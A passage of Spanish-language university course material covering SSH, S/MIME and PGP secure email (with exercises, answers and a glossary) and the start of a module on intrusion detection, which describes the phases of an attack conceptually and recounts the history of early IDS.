sajes PGP:application/pgp-encrypted , application/pgp-

signature y application/pgp-keys .

Sin embargo, actualmente es mucho más habitual el uso de las armaduras

ASCII para encapsular mensajes PGP que la técnica PGP/MIME.
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Resumen

En este módulo didáctico hemos presentado dos aplicaciones que utilizan los

mecanismos de protección que hemos visto en el módulo anterior. La primera

de ellas es elSecure Shell(SSH), que permite establecer una conexión cifrada

con un servidor. SSH define su propio protocolo para autenticar el servidor y

el usuario que se quiere conectar, y para determinar las claves para el cifrado

simétrico y para los códigos MAC, de forma parecida a como lo hace SSL/

TLS.

Una vez establecida la comunicación segura, el protocolo SSH permite usar

otras funciones, como el envío de datos protegidos por un canal, laredirección
de puertos TCPdesde el cliente o desde el servidor, etc.

La otra aplicación que hemos visto en este módulo es elcorreo electrónico
seguro. Dado que en esta aplicación interesa proteger los mensajes enviados

más que la comunicación en sí, se definen mecanismos para introducir la con-

fidencialidad y la autenticación en el cuerpo de los mensajes de correo. Esto

permite aprovechar la infraestructura de agentes de correo existentes, mante-

niendo la compatibilidad con los sistemas de correo tradicionales.

Para la confidencialidad normalmente se utiliza la técnica delsobre digital,
que consiste en cifrar el mensaje con una clave de sesión simétrica, y añadirle

esta clave de sesión cifrada con la clave pública de cada destinatario. De este

modo se puede enviar un mismo mensaje a múltiples destinatarios, como se

hace con el correo electrónico normal. Para la autenticación se utilizan las

firmas digitales, que además proporcionan el servicio de no repudio.

Uno de los principales sistemas de correo electrónico seguro actualmente en

uso esS/MIME . Este sistema incorpora estructuras de datosPKCS #7 a

los mensajes de correo utilizando la tecnología MIME. La norma PKCS #7

especifica cómo se deben representar mensajes cifrados con sobre digital y/o

firmados, aplicando criptografía de clave pública y sobre una infraestructura

de certificados X.509.

Otro sistema para el intercambio de datos protegidos y, en particular, mensajes

de correo electrónico, esPGP. Este sistema utiliza un formato propio, publi-

cado en especificaciones como la antigua “PGP versión 3” o la más moderna

“OpenPGP”, para representar los datos cifrados y/o firmados. Para las claves

públicas no utiliza una infraestructura de certificados X.509, sino que la cer-

tificación es descentralizada: cada usuario puede certificar las claves públicas

que crea auténticas, de modo que las relaciones entre claves públicas de usua-

rios que confían en otros forman una “malla de confianza”.
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Actividades

3-1 Una implementación libre del protocolo SSH bastante conocida es la del proyecto
OpenSSH. Visitad su página web (www.openssh.com ) y comprobad qué protocolos y
qué algoritmos criptográficos soporta la última versión.

3-2 Visitad la página web del proyecto GnuPG (www.gnupg.org ) y comprobad qué
algoritmos criptográficos soporta la última versión.

3-3 Acceded a un servidor de claves públicas PGP (por ejemplo,www.rediris.es/
cert/servicios/keyserver/ ). ¿Que información se tiene que dar para encontrar
una clave PGP? ¿Qué tipo de información puede devolver?

Buscad las claves públicas asociadas al nombre “Philip R. Zimmermann ”. ¿Existe
alguna razón para pensar que alguna de ellas pueda ser falsa?
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Ejercicios de autoevaluación

3-1 Una organización quiere ofrecer un servicio web seguro, con autenticación de servidor
y confidencialidad de los datos, pero no dispone de un servidor HTTPS sino de software
cliente y servidor del protocolo SSH, que se puede instalar en cualquier ordenador que
tenga que hacer uso de este servicio. ¿Cómo se puede configurar el software SSH para
ofrecer el servicio deseado?

3-2 En los sistemas de correo electrónico seguro como S/MIME o PGP:

a)¿Cómo se aplica la protección de confidencialidad a un mismo mensaje de forma que
pueda ser leído por cinco destinatarios diferentes, y solamente por estos cinco?

b)El remitente puede usar un cliente de correo que guarde copia de cada mensaje enviado.
Si el mensaje se ha enviado cifrado, ¿cómo puede el remitente consultar más adelante
el contenido original del mensaje?

c)Si el remitente también quiere firmar el mensaje, ¿es necesario que lo firme antes de
cifrarlo o después? ¿Por qué?

3-3 Observad los ejemplos de mensajes firmados en claro S/MIME (página 37) y PGP
(página 55). ¿Sabríais explicar por qué la firma del primero es más larga que la del segun-
do?

3-4 Si un atacante intenta un ataque de repetición contra el correo S/MIME, reenviando,
por ejemplo, un mensaje como éste con el campo “Date ” de la cabecera canviado:

.

Date: Mon, 14 Jun 2004 11:45:20 +0100
From: profesor
Subject: Entrega de la práctica aplazada
To: estudiantes
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="20040614094520";

protocol= application/pkcs7-signature"; micalg=md5

--20040614094520
Content-Type: text/plain

La entrega de la práctica que se tenía que realizar este viernes
queda aplazada hasta el viernes de la próxima semana.

El profesor.

--20040614094520
. . . (la firma S/MIME del mensaje) . . .
--20040614094520--

¿habría manera de detectar el ataque?

3-5 Si un atacante intenta un ataque de repetición contra el correo PGP, reenviando por
ejemplo un mensaje como este con el campo “Date ” de la cabecera cambiado:
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.

Date: Mon, 14 Jun 2004 11:45:30 +0100
From: profesor
Subject: Entrega de la práctica aplazada
To: estudiants

-----BEGIN PGP SIGNED MESSAGE-----
Hash: MD5

La entrega de la práctica que se tenía que realizar este viernes
queda aplazada hasta el viernes de la próxima semana.

El profesor.

-----BEGIN PGP SIGNATURE-----
. . . (la firma PGP del mensaje) . . .
-----END PGP SIGNATURE-----

¿habría manera de detectar el ataque?

3-6 La firma de un mensaje PGP firmado se calcula mediante el algoritmo dehashMD5,
de 128 bits de salida. El mensaje firmado incluye los primeros 16 bits de estehashen claro,
para comprobar que los datos sobre los cuales se quiere verificar la firma son correctos.

a)¿Hasta qué punto puede comprometer esto la seguridad del algoritmo dehash?

b)¿Hasta qué punto ayudan estos bits a comprobar que los datos son correctos?



FUOC · P03/75070/02124 56 Aplicaciones seguras

Solucionario

3-1 Se puede hacer uso de la funcionalidad de redirección de puertos TCP que propor-
ciona el protocolo SSH. En el ordenador donde haya el servidor web, que normalmente
admitirá conexiones por el puerto 80, se instala también el servidor SSH, configurado de
forma que permita la autenticación nula (si no es necesaria la autenticación de cliente).
Entonces, en cada ordenador que se tenga que conectar al servidor, se instala el cliente
SSH configurándolo de modo que las conexiones que lleguen a un puertoP local sean
redirigidas a conexiones realizadas desde el servidor al puerto 80 del propio servidor.

Una vez realizado esto, para acceder al servidor web des de los clientes sólo es necesario
dar URLs de la forma “http://localhost: P/ . . . ” al navegador, y automáticamente
se establecerán las conexiones con el servidor web mediante un canal SSH.

3-2

a)Con la técnica del sobre digital, es decir, cifrando el mensaje con una clave de sesión
simétrica, y añadiendo al mensaje cifrado el resultado de cifrar la clave de sesión con
la clave pública de cada uno de los cinco destinatarios.

b)Haría falta añadir una sexta copia de la clave de sesión, cifrada con la clave pública del
remitente.

c)Dependiendo del uso que se quiera hacer del mensaje en recepción, puede ser más
interesante cifrar antes de firmar, firmar antes de cifrar, o puede ser indiferente.

3-3 En el mensaje S/MIME hay una estructura PKCS #7 de tipoSignedData , que nor-
malmente incluirá al menos el certificado X.509 del firmante (y posiblemente también el
de la CA emisora, el de la CA de nivel superior, etc.). En el mensaje PGP sólo hay un
identificador de la clave pública del firmante: el valor entero de la clave pública se debe
obtener por otros medios (keyringlocal del receptor, servidor de claves públicas, etc.).

3-4 Se puede detectar la repetición porque la firma se representa mediante una estructura
PKCS #7SignedData , que puede incluir un atributo que indica cuándo se ha generado
la firma: el atributosigningTime (aunque este atributo no es obligatorio en PKCS #7
ni CMS, se supone que las implementaciones S/MIME lo deberían incluir en los mensajes
firmados).

3-5 Se puede detectar la repetición porque el receptor puede saber cuándo se ha generado
la firma: esta información se encuentra en uno de los campos del paquete de firma (en el
momento de verificar la firma, las implementaciones PGP normalmente muestran la fecha
en la que se creó).

3-6

a)Si el mensaje sólo está firmado no existe ningún compromiso, porque cualquiera puede
calcular elhashde los datos firmados (si está firmado y cifrado, primero se construye
el mensaje firmado y después es cifra el resultado).

b)La probabilidad de que en un mensaje incorrecto coincidan los 16 primeros bits del
hashes 2−16. Por lo tanto, estos 16 bits dan una confianza razonable de que el mensaje
ha llegado correctamente.
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Glosario

Agente de autenticación SSH:aplicación que, a través de conexiones SSH con otras
aplicaciones, permite a estas otras aplicaciones realizar la autenticación de cliente del pro-
tocolo SSH, mediante las claves privadas correspondientes, y sin que estas claves tengan
que salir del sistema en el que se está ejecutando el agente.

Armadura ASCII: representación de un mensaje PGP apta para ser incluida en el cuerpo
de un mensaje de correo electrónico, sin peligro de que los agentes de correo la modifiquen
haciendo irrecuperable el mensaje PGP.

Attached(datos firmados): verFirma con datos firmados incluidos.

Base 64: codificación que permite representar datos binarios arbitrarios como líneas de
caracteres ASCII, utilizando un carácter por cada 6 bits.

Bloque de clave pública PGP:conjunto formado por una clave pública PGP, el nombre
o nombres de usuario asociados y los certificados que confirman que la relación entre la
clave y cada nombre es auténtica.

Canal SSH: cada uno de los distintos flujos de información que se pueden transmitir a
través de una conexión SSH (un canal puede ser una sesión interactiva, una conexión a
un servidor de ventanas X, una conexión TCP redirigida o una conexión a un agente de
autenticación).

CMS: verCryptographic Message Standard.

Código de redundancia cíclica (CRC):valor calculado a partir de una secuencia de bits,
para confirmar (dentro de un margen de probabilidad) que no se ha producido un error de
transmisión cuando esta secuencia llega al destinatario.

Codificación canónica: representación de los mensajes de correo electrónico que se uti-
liza para su transferencia, con el objetivo de que todos los sistemas puedan convertir esta
forma canónica, si es necesario, a la representación local que utilice cada uno.

Codificación de transferencia: representación del contenido de los mensajes de correo
electrónico que puede ser necesaria por compatibilidad con todos los posibles agentes de
correo que han de procesar los mensajes (por ejemplo, la codificación base 64).

CRC: verCódigo de redundancia cíclica.

Cryptographic Message Standard(CMS): versión del formato PKCS #7 estandarizada
por el IETF (Internet Engineering Task Force).

Detached(datos firmados): verFirma con datos firmados no incluidos.

Encapsulación RFC 934:técnica para combinar varios mensajes de correo electrónico en
un único cuerpo de mensaje RFC 822.

Fingerprint: verHuella.

Firma con datos firmados incluidos (attached): estructura de datos que representa una
firma y que incluye los datos firmados.

Firma con datos firmados no incluidos (detached): estructura de datos que representa
una firma pero que no incluye los datos firmados, que se encuentran en algún otro lugar
(por ejemplo, en otra parte del mensaje).

Firma en claro: firma (con datos no incluidos) que se añade como segunda parte de un
mensaje firmado, cuya primera parte contiene los datos firmados, y que permite leer el
mensaje aunque no se disponga del software necesario para verificar la firma.

HMAC: técnica para calcular códigos de autenticación de mensaje (MAC) basada en fun-
cioneshash.

Huella (fingerprint): valor resumido de una clave pública PGP, obtenido con una función
hash, que se utiliza en lugar de la clave entera cuando se tiene que comparar con un valor
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supuestamente auténtico.

Identificador de clave PGP:número que sirve para identificar una clave pública dentro de
un paquete PGP, para no tener que incluir el valor entero de la clave, y que internamente
se representa con 8 bytes, aunque al usuario normalmente se le muestran solamente los
4 últimos.

KeyringPGP: base de datos que contiene un conjunto de claves PGP.

Malla de confianza: modelo de confianza mutua utilizado en sistemas como PGP, donde
las claves públicas se pueden autenticar mediante certificados generados por cualquier
usuario, en lugar de usar una estructura jerárquica de autoridades de certificación.

MIME: Ver Multipurpose Internet Mail Extensions.

Mensaje MIME multiparte: mensaje MIME cuyo cuerpo está estructurado en distintas
partes, cada una con su contenido, que puede ser texto, gráficos, datos, etc. u otro mensaje
MIME (que, a su vez, puede ser un mensaje multiparte).

Multipurpose Internet Mail Extensions(MIME): estándar para la inclusión de otro tipo
de información, distinto de simples líneas de texto, en el cuerpo de los mensajes de correo
electrónico, de forma compatible con el estándar RFC 822.

OpenPGP: versión del formato de los mensajes PGP estandarizada por el IETF (Internet
Engineering Task Force).

Paquete PGP:estructura de datos utilizada para representar los distintos tipos de infor-
mación que hay en un mensaje protegido con PGP.

PEM: Ver Privacy Enhanced Mail.

PGP: Ver Pretty Good Privacy.

PKCS #7: Ver Public Key Cryptographic Standard #7.

PKCS #10: Ver Public Key Cryptographic Standard #10.

Pretty Good Privacy(PGP): aplicación utilizada para proteger datos, con confidenciali-
dad (sobre digital) y/o autenticidad (firma digital), que utiliza claves públicas autenticadas
según un esquema descentralizado, y que se utiliza normalmente para proteger el correo
electrónico.

Privacy Enhanced Mail(PEM): uno de los primeros sistemas de correo electrónico se-
guro que se desarrollaron, compatible directamente con el formato RFC 822.

Public Key Cryptographic Standard #7: norma para representar mensajes protegidos crip-
tográficamente (normalmente con sobre digital y/o firma digital), a partir de claves públicas
autenticadas con certificados X.509.

Public Key Cryptographic Standard #10: estándar para representar peticiones de certifi-
cación, que se envían a una CA para que ésta genere un certificado a partir de los datos de
la petición.

Remote Shell: aplicación que se incorporó al sistema Unix BSD (con el nombrersh ),
y que actualmente está disponible en casi todas las versiones de Unix, que permite a los
usuarios de un sistema ejecutar comandos en otro sistema remoto.

RFC 822: estándar para la representación de los mensajes de correo electrónico, estruc-
turados en un conjunto de líneas de cabecera, el cuerpo del mensaje, y una línea en blanco
que separa las cabeceras del cuerpo.

Secure MIME (S/MIME): sistema de correo electrónico seguro que utiliza MIME para
incluir datos PKCS #7 o CMS en los mensajes, y por lo tanto proporciona confidencialidad
(sobre digital) y/o autenticidad (firma digital) a partir de claves públicas autenticadas con
certificados X.509.
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Secure Shell: aplicación que proporciona un servicio análogo al del programaRemote
Shellde los sistemas Unix, pero con la comunicación protegida mediante autenticación y
cifrado, y con funcionalidades añadidas, como la redirección de puertos TCP a través de
conexiones seguras, etc. También es el nombre que recibe el protocolo utilizado por esta
aplicación para la comunicación segura.

Simple Mail Transfer Protocol(SMTP): protocolo usado en Internet para la transmisión
de mensajes de correo electrónico, especificado en el estándar RFC 821.

S/MIME: Ver Secure MIME.

SMTP: Ver Simple Mail Transfer Protocol.

Sobre digital: técnica para proporcionar confidencialidad, consistente en cifrar los datos
con una clave de sesión simétrica, y añadir al mensaje esta clave de sesión cifrada con la
clave pública de cada destinatario.

SSH: Ver Secure Shell.

Subclave PGP:clave PGP asociada a una clave principal, de forma que normalmentela
clave principal se utiliza para firmar y sus subclaves para cifrar (las subclaves están definidas
solamente en OpenPGP, no en el sistema PGP original).
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3 Mecanismospara ladetección deataques eintrusiones

Introducci ón

Las redes de ordenadores se encuentran expuestas a ataques informáticos con tanta fre-

cuencia que es necesario imponer una gran cantidad de requisitos de seguridad para la

proteccíon de sus recursos.

Aunque las deficiencias de estos sistemas se pueden comprobar mediante herramientas

convencionales, no siempre son corregidas. En general, estas debilidades pueden provocar

un agujero en la seguridad de la red y facilitar entradas ilegales en el sistema.

La mayoŕıa de las organizaciones disponen actualmente de mecanismos de prevención y

de mecanismos de protección de los datos integrados en sus redes. Sin embargo, aunque

estos mecanismos se deben considerar imprescindibles, hay que estudiar cómo continuar

aumentando la seguridad asumida por la organización.

Aśı, un nivel de seguridad́unicamente perimetral (basado tan solo en la integración en la

red de sistemas cortafuegos y otros mecanismos de prevención) no debeŕıa ser suficiente.

Debemos pensar que no todos los accesos a la red pasan por el cortafuegos, y que no

todas las amenazas son originadas en la zona externa del cortafuegos. Por otra parte, los

sistemas cortafuegos, como el resto de elementos de la red, pueden ser objeto de ataques e

intrusiones.

Una buena forma de mejorar la seguridad de la red pasa por la instalación de mecanis-

mos de detección, capaces de avisar al administrador de la red en el momento en que se

produzcan estos ataques a la seguridad de la red.

Una analoǵıa que ayuda a entender la necesidad de incorporar estos elementos podrı́a ser

la comparacíon entre la seguridad de una red informática y la seguridad de un edificio: las

puertas de entrada ejercen un primer nivel de control de acceso, pero normalmente no nos

quedamos aquı́; instalaremos detectores de movimiento o cámaras de vigilancia en puntos

claves del edificio para detectar la existencia de personas no autorizadas, o que hacen un

mal uso de los recursos, poniendo en peligro la seguridad. Además, existiŕan vigilantes

de seguridad, libros de registro en los que se apuntará a todo el personal que accede a

un determinado departamento que consideramos crı́tico, etc. Toda esta información se

procesa desde una oficina de control de seguridad donde se supervisa el registro de las

cámaras y se llevan los libros de registro.

Todos estos elementos, proyectados en el mundo digital, configuran lo que se conoce en el

ámbito de la seguridad de redes informáticas como mecanismos de detección.
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4 Mecanismospara ladetección deataques eintrusiones

Objetivos

En este ḿodulo did́actico se fijan los siguientes objetivos:

1) Entender la necesidad de utilizar mecanismos adicionales para garantizar la seguridad

de una red ya protegida con mecanismos de seguridad tradicionales.

2) Comprender el origen de los primeros sistemas de detección y ver la arquitectura ge-

neral de estos sistemas.

3) Ver otras tecnoloǵıas complementarias a los sistemas de detección tradicionales.
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5 Mecanismospara ladetección deataques eintrusiones

5.1. Necesidad de mecanismos adicionales en la prevención y protec-
ción

.

El escenario que presentaremos a continuación describe las posibles acciones de un ata-

cante e ilustra la necesidad de una polı́tica de seguridad adicional que soporte y aumente

las estrategias de seguridad presentadas hasta este momento.

Supongamos que un atacante está preparando introducirse en la red de una pequeña em-

presa para obtener los datos de sus clientes:

Equipo

www

dns

Puerto

80,443

       53

Cortafuegos

Internet

perimetro.victima.com

Lista de control de accesos

Conmutador

Servidor de

nombres

dns.victima.com
Equipo

www

dns

Dirección IP

10.0.0.1

10.0.0.2

….

Estación de

trabajo

Base de datos del servidor de nombres

nodo2.victima.com

Estación de

trabajo

nodo1.victima.com

Servidor

Web

www.victima.com

Web e información de clientes

Página web

+

Información de

clientes

La empresa se dedica a la venta de artı́culos por internet y por ello tiene en marcha la web

www.victima.com, que le permite la venta en lı́nea de sus artı́culos.

Preocupados por la seguridad de su red (cuyo diagrama se muestra en la figura anterior)

y, en concreto, por la seguridad de los datos de sus clientes, la empresa protege la red con

un sistema cortafuegos, que permiteúnicamente la entrada de peticiones HTTP, HTTPS

y consultas de DNS, aceptando también la transmisíon de las respuestas a las peticiones

HTTP, HTTPS y DNS.
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6 Mecanismospara ladetección deataques eintrusiones

.

El protocolo HTTPS se utiliza como un mecanismo de protección de los datos de

los clientes a la hora de realizar transferencias seguras al servidor de HTTP, utili-

zando t́ecnicas criptogŕaficas para proteger la información sensible que el usuario

transmite al servidor (ńumero de targeta de crédito, datos personales, . . . ).

La intrusíon que el atacante intentará llevar a cabo pasará por las siguientes cuatro fases:

• Fase de vigilancia.Durante la fase de vigilancia, el atacante intentará aprender todo

lo que pueda sobre la red que quiere atacar. En especial, tratará de descubrir servicios

vulnerables y errores de configuración.

• Fase de explotacíon de servicio.Este segundo paso describe la actividad que permitirá

al atacante hacerse con privilegios de administrador (escala de privilegios) abusando

de alguna de las deficiencias encontradas durante la etapa anterior.

• Fase de ocultacíon de huellas.Durante esta fase de ocultación se realizaŕa toda aque-

lla actividad ejecutada por el atacante (una vez ya producida la intrusión) para pasar

desapercibido en el sistema.

Dentro de esta tercera etapa se contemplan actividades tales como la eliminación de

entradas sospechosas en ficheros de registro, la instalación y modificacíon de comandos

de administracíon para ocultar la entrada en los sistemas de la red, o la actualización

de los servicios vulnerables que ha utilizado para la intrusión (para evitar que terceras

partes se introduzcan de nuevo en el sistema), etc.

• Fase de extraccíon de información. En estaúltima fase, el atacante con privilegios

de administrador tendrá acceso a los datos de los clientes mediante la base de datos de

clientes.

El intruso comenzará su ataque obteniendo el rango de direcciones IP donde se encuentra

alojado el servidor de la webwww.victima.com. Para ello, seŕa suficiente realizar una

serie de consultas al servidor de DNS de la compañ́ıa.

A continuacíon, realizaŕa una exploración de puertos en cada una de las direcciones IP

encontradas en el paso anterior. El objetivo de esta exploración de puertos es la búsqueda

de servicios en ejecución en cada una de las máquinas del sistema, mediante alguna de las

técnicas vistas en los ḿodulos anteriores.

Gracias a los mecanismos de prevención instalados en la red de nuestro ejemplo (el sistema

cortafuegos y las listas de control mostradas en la figura), la mayor parte de las conexiones

seŕan eliminadas. De esta forma, el atacante sólo descubriŕa dos de las ḿaquinas de la red

(el servidor de DNS y el servidor web).

 FUOC • XP04/90789/00892



7 Mecanismospara ladetección deataques eintrusiones

El atacante decide atacar el servidor de HTTP. Para ello, tratará de descubrir qúe tipo de

servidor est́a funcionando en este equipo (le interesa el nombre y la versión del servidor

en cuestíon), ya que es muy probable que existan deficiencias de programación en la apli-

cacíon que est́a ofreciendo dicho servicio.

Por otra parte, el atacante también intentaŕa descubrir el sistema operativo y la arquitectura

hardwareen la que se ejecuta el servidor. Esta información seŕa importante a la hora de

buscar losexploitsque finalmente utilizaŕa para realizar el ataque de intrusión.

Para obtener toda esta información, el atacante tiene suficiente con las entradas de DNS que

la propia compãńıa le est́a ofreciendo (a trav́es de los campos HINFO de las peticiones).

De esta forma, el atacante descubre que el servidor web está funcionando bajo una arqui-

tectura concreta y que en este servidor hay instalado un determinado sistema operativo.

Otra fuente de información para descubrir el sistema operativo y la aplicación que ofrece

el servicio web, y contrastar ası́ la informacíon ya obtenida, podrı́an ser las cabeceras de

las respuestas HTTP que el servidor envı́a a cada petición de HTTP o HTTPS).

El atacante, que colecciona un amplio repertorio de aplicaciones para abusar de este

* Ved la sección
correspondiente a
deficiencias de programación
del primer módulo didáctico
de este material para más
información.

producto, acabará obteniendo un acceso con privilegios de administrador. Supongamos,

por ejemplo, que dicha intrusión la realiza gracias a la existencia de unbuffermal utilizado

que existente en la aplicación en cuestíon*.

La primera observación que podemos indicar de todo el proceso que acabamos de descri-

bir es que los mecanismos de prevención de la red permiten la realización de este abuso

contra el servidor de HTTP, ya que la forma de realizar el desbordamiento debufferse rea-

lizará mediante peticiones HTTP legı́timas (aceptadas en las listas de control del sistema

cortafuegos).

Aśı pues, sin necesidad de violar ninguna de las polı́ticas de control de acceso de la red, el

atacante puede acabar haciéndose con el control de uno de los recursos conectados a la red

de la compãńıa.

Una vez comprometido el servidor de HTTP, el intruso entrará en la fase de ocultación y Las rootkits...

... son un conjunto de
herramientas para garantizar,
entre otras, la fase de
ocultación de huellas durante
el ataque de intrusión en un
sistema.

comenzaŕa a eliminar ŕapidamente todas aquellas marcas que pudieran delatar su entrada

en el sistema. Adeḿas, se encargará de instalar en el equipo atacado un conjunto dero-

otkits*. Una rootkit es una recopilación de herramientas de sistema, la mayorı́a de ellas

fraudulentas, que se encargarán de dejar puertas abiertas en el sistema atacado, para ga-

rantizar aśı futuras conexiones con la misma escalada de privilegios, ası́ como ofrecer la

posibilidad de realizar nuevos ataques al sistema o a otros equipos de la red (denegaciones

de servicio, escuchas en la red, ataques contra contraseñas del sistema, etc).
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.

Las rootkitssuelen contener versiones modificadas de las herramientas básicas de

administracíon, con la finalidad de esconder las acciones ilegı́timas de un atacante y

hacer pasar inadvertida la intrusión. Adeḿas, trataŕan de garantizar futuras entradas

en el equipo sin que el administrador del sistema las detecte.

Una vez finalizada la fase de ocultación de huellas, el atacante dispone de un equipo dentro

de la red que le podrá servir de trampolı́n para realizar nuevos ataques e intrusiones en el

resto de equipos de la compañ́ıa. Adeḿas, operando desde una máquina interna de la red,

el atacante ya no estará sujeto a las restricciones impuestas por los sistemas de prevención.

Finalmente, una vez llegados a este punto el atacante dispondrá sin ninǵun problema de

los datos que los clientes tienen almacenados en la base de datos.

Este ejemplo nos muestra cómo la existencia de un sistema cortafuegos (u otros mecanis-

mos de prevención) y la utilizacíon de comunicaciones cifradas (como un mecanismo de

proteccíon de datos) no es suficiente a la hora de defender nuestros sistemas de red.
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5.2. Sistemas de detección de intrusos

.

La deteccíon de ataques e intrusiones parte de la idea que un atacante es capaz de violar

nuestra polı́tica de seguridad, atacando parcial o totalmente los recursos de una red, con el

objetivo final de obtener un acceso con privilegios de administrador.

.

Los mecanismos para la detección de ataques e intrusiones tratan de encontrar y re-

portar la actividad maliciosa en la red, pudiendo llegar a reaccionar adecuadamente

ante un ataque.

En la mayoŕıa de los casos es deseable poder identificar el ataque exacto que se está pro-

duciendo, de forma que sea posible detener el ataque y recuperarse del mismo. En otras

situaciones, śolo seŕa posible detectar e informar de la actividad sospechosa que se ha

encontrado, ante la imposibilidad de conocer lo que ha sucedido realmente.

Generalmente, la detección de ataques trabajará con la premisa de que nos encontramos en

la peor de las situaciones, suponiendo que el atacante ha obtenido un acceso al sistema y

que es capaz de utilizar o modificar sus recursos.

Los elementos ḿas destacables dentro de la categorı́a de mecanismos para la detección de

* En inglés, Intrusion
Detection System (IDS).

ataques e intrusiones son los sistemas de detección de intrusos*.

A continuacíon introduciremos dos definiciones básicas en el campo de la detección de

intrusos con el objetivo de clarificar términos comunes que se utilizarán ḿas adelante.

.

Una intrusi ón es una secuencia de acciones realizadas por un usuario o proceso

deshonesto, con el objetivo final de provocar un acceso no autorizado sobre un

equipo o un sistema al completo.

La intrusíon consistiŕa en la secuencia de pasos realizados por el atacante que viola una

determinada polı́tica de seguridad. La existencia de una polı́tica de seguridad, en la que

se contemplan una serie de acciones deshonestas que hay que prevenir, es un requisito

clave para la intrusión. Es decir, la violación śolo se podŕa detectar cuando las acciones

observadas puedan ser comparadas con el conjunto de reglas definidas en la polı́tica de

seguridad.
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.

* En inglés, Intrusion
Detection (ID).La deteccíon de intrusiones* es el proceso de identificación y respuesta ante las

actividades iĺıcitas observadas contra uno o varios recursos de una red.

Estaúltima definicíon introduce la noción de proceso de detección de intrusos, que invo-

lucra toda una serie de tecnologı́as, usuarios y herramientas necesarias para llegar a buen

término.

5.2.1. Antecedentes de los sistemas de detección de intrusos

Los sistemas de detección de intrusos son una evolución directa de los primeros sistemas

de auditoŕıas. Estos sistemas tenı́an como finalidad medir el tiempo que dedicaban los

operadores a usar los sistemas. Con esta finalidad, se monitorizaban con una precisión de

milésimas de segundo y servı́an, entre otras cosas, para poder facturar el servidor.

* En inglés, Electronic Data
Processsing (EDP).

Los primeros sistemas aparecieron en la década de los cincuenta, cuando la empresa nor-

teamericanaBell Telephone Systemcréo un grupo de desarrollo con el objetivo de analizar

el uso de los ordenadores en empresas de telefonı́a. Este equipo estableció la necesidad de

utilizar auditoŕıas mediante el procesamiento electrónico de los datos*, rompiendo con el

anterior sistema basado en la realización de informes en papel. Este hecho provocó que a

finales de los ãnos 50 laBell Telephone Systemse embarcara en el primer sistema a gran

escala de facturación telef́onica controlada por ordenadores.

La siguiente figura muestra un sencillo esquema del funcionamiento de un sistema de

auditoŕıas, en el cual los eventos de sistema son capturados por un generador de auditorı́as

que llevaŕa los datos hacia el elemento encargado de almacenarlos en un fichero de informe.

Políticas

de seguridad

y de control

Generador

de auditorías

Eventos

de sistema

Generador

de informes

Informes

de auditoría

Analizador

Terminal

de resultados
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A partir de los ãnos 70, el Departamento de Defensa de los EEUU empezó a invertir

numerosos recursos en la investigación de poĺıticas de seguridad, directrices y pautas de

control. Estos esfuerzos culminaron con una iniciativa de seguridad en 1977 en la que se

defińıa el concepto desistemas de confianza.

.

Los sistemas de confianzason aquellos sistemas que emplean suficientes recursos

softwarey hardwarepara permitir el procesamiento simultáneo de una variedad de

informacíon confidencial o clasificada. En estos sistemas se incluı́an distintos tipos

de informacíon repartida en niveles, que correspondı́an a su grado de confidencia-

lidad.

Trusted Computer System
Avaluation Criteria

Son una serie de
documentos de la agencia
nacional de seguridad (NSA)
sobre sistemas de confianza,
conocida también bajo el
nombre de Rainbow series
debido a los colores de sus
portadas. El libro principal de
esta serie es conocido como
el Libro naranja (Orange
book ). Mirar la página web
www.fas.org/irp-
/nsa/rainbow.htm para
más información.

A finales de la d́ecada de los setenta se incluyó en elTrusted Computer System Avaluation

Criteria (TSCSEC) un apartado sobre los mecanismos de las auditorı́as como requisito pa-

ra cualquier sistema de confianza con un nivel de seguridad elevado. En este documento,

conocido bajo el nombre deLibro marrón (Tan book), se enumeran los objetivos principa-

les de un mecanismo de auditorı́a que podemos resumir muy brevemente en los siguientes

puntos:

• Permitir la revisíon de patrones de acceso (por parte de un objeto o por parte de un

usuario) y el uso de mecanismos de protección del sistema.

• Permitir el descubrimiento tanto de intentos internos como externos de burlar los me-

canismos de protección.

• Permitir el descubrimiento de la transición de usuario cuando pasa de un nivel menor

de privilegios a otro mayor (escalada de privilegios).

• Permitir el bloqueo de los intentos de los usuarios de saltarse los mecanismos de pro-

teccíon del sistema.

• Servir de garantı́a frente a los usuarios de que toda la información que se recoja sobre

ataques e intrusiones será suficiente para controlar los posibles daños ocasionados en

el sistema.
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Primeros sistemas para la detección de ataques en tiempo real

El proyectoInstrusion Detection Expert System(IDES), desarrollado entre 1984 y 1986

por Dorothy Denning y Peter Neumann fue uno de los primeros sistemas de detección

de intrusos en tiempo real. Este proyecto, financiado entre otros por la marina nortea-

mericana, propońıa una correspondencia entre actividad anómala y abuso o uso indebido

(entendiendo por anómala aquella actividad extraña o inusual en un contexto estadı́stico).

.

IDESutilizaba perfiles para describir los sujetos del sistema (principalmente usu-

arios), y reglas de actividad para definir las acciones que tenı́an lugar (eventos de

sistema o ciclos de CPU). Estos elementos permitı́an establecer mediante métodos

estad́ısticos las pautas de comportamiento necesarias para detectar posibles ano-

maĺıas.

Un segundo sistema de detección de ataques en tiempo real que hay que destacar fueDis-

covery, capaz de detectar e impedir problemas de seguridad en bases de datos. La novedad

del sistema radicaba en la monitorización de aplicaciones en lugar de analizar un sistema

operativo al completo. Mediante la utilización de ḿetodos estadı́sticos desarrollados en

COBOL,Discoverypod́ıa detectar posibles abusos.

Otros sistemas fueron desarrollados para ayudar a oficiales norteamericanos a encontrar

marcas de ataques internos en los ordenadores principales de sus bases aéreas. Estos or-

denadores eran principalmente servidores corporativos que trabajaban con información no

clasificada pero muy confidencial.

Uno de losúltimos sistemas de estaépoca a destacar fue MIDAS (Multics Intrusion De-

* Se trata del sistema
operativo Multics, precursor
de los sistemas Unix
actuales.

tection and Alerting System), creado por la NCSC (National Computer Security Center).

Este sistema de detección fue implementado para monitorizar elDockmasterde la NCSC,

en el que se ejecutaba uno de los sistemas operativos más seguros de láepoca*. De la mis-

ma manera que IDES, MIDAS utilizaba un sistema hı́brido en el que se combinaba tanto la

estad́ıstica de anomalı́as como las reglas de seguridad de un sistema experto. MIDAS utili-

zaba un proceso de análisis progresivo compuesto por cuatro niveles de reglas. Además de

estas reglas, también contaba con una base de datos que utilizaban para determinar signos

de comportamiento atı́pico.

.

MIDAS fue uno de los primeros sistemas de detección de intrusiones conectados a

internet. Fue publicado en la red en 1989 y monitorizó el mainframeDockmaster

en 1990, contribuyendo a fortalecer los mecanismos de autentificación de usuarios.
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Sistemas de detección de intrusos actuales

A partir de los ãnos 90, el ŕapido crecimiento de las redes de ordenadores provocó la apa-

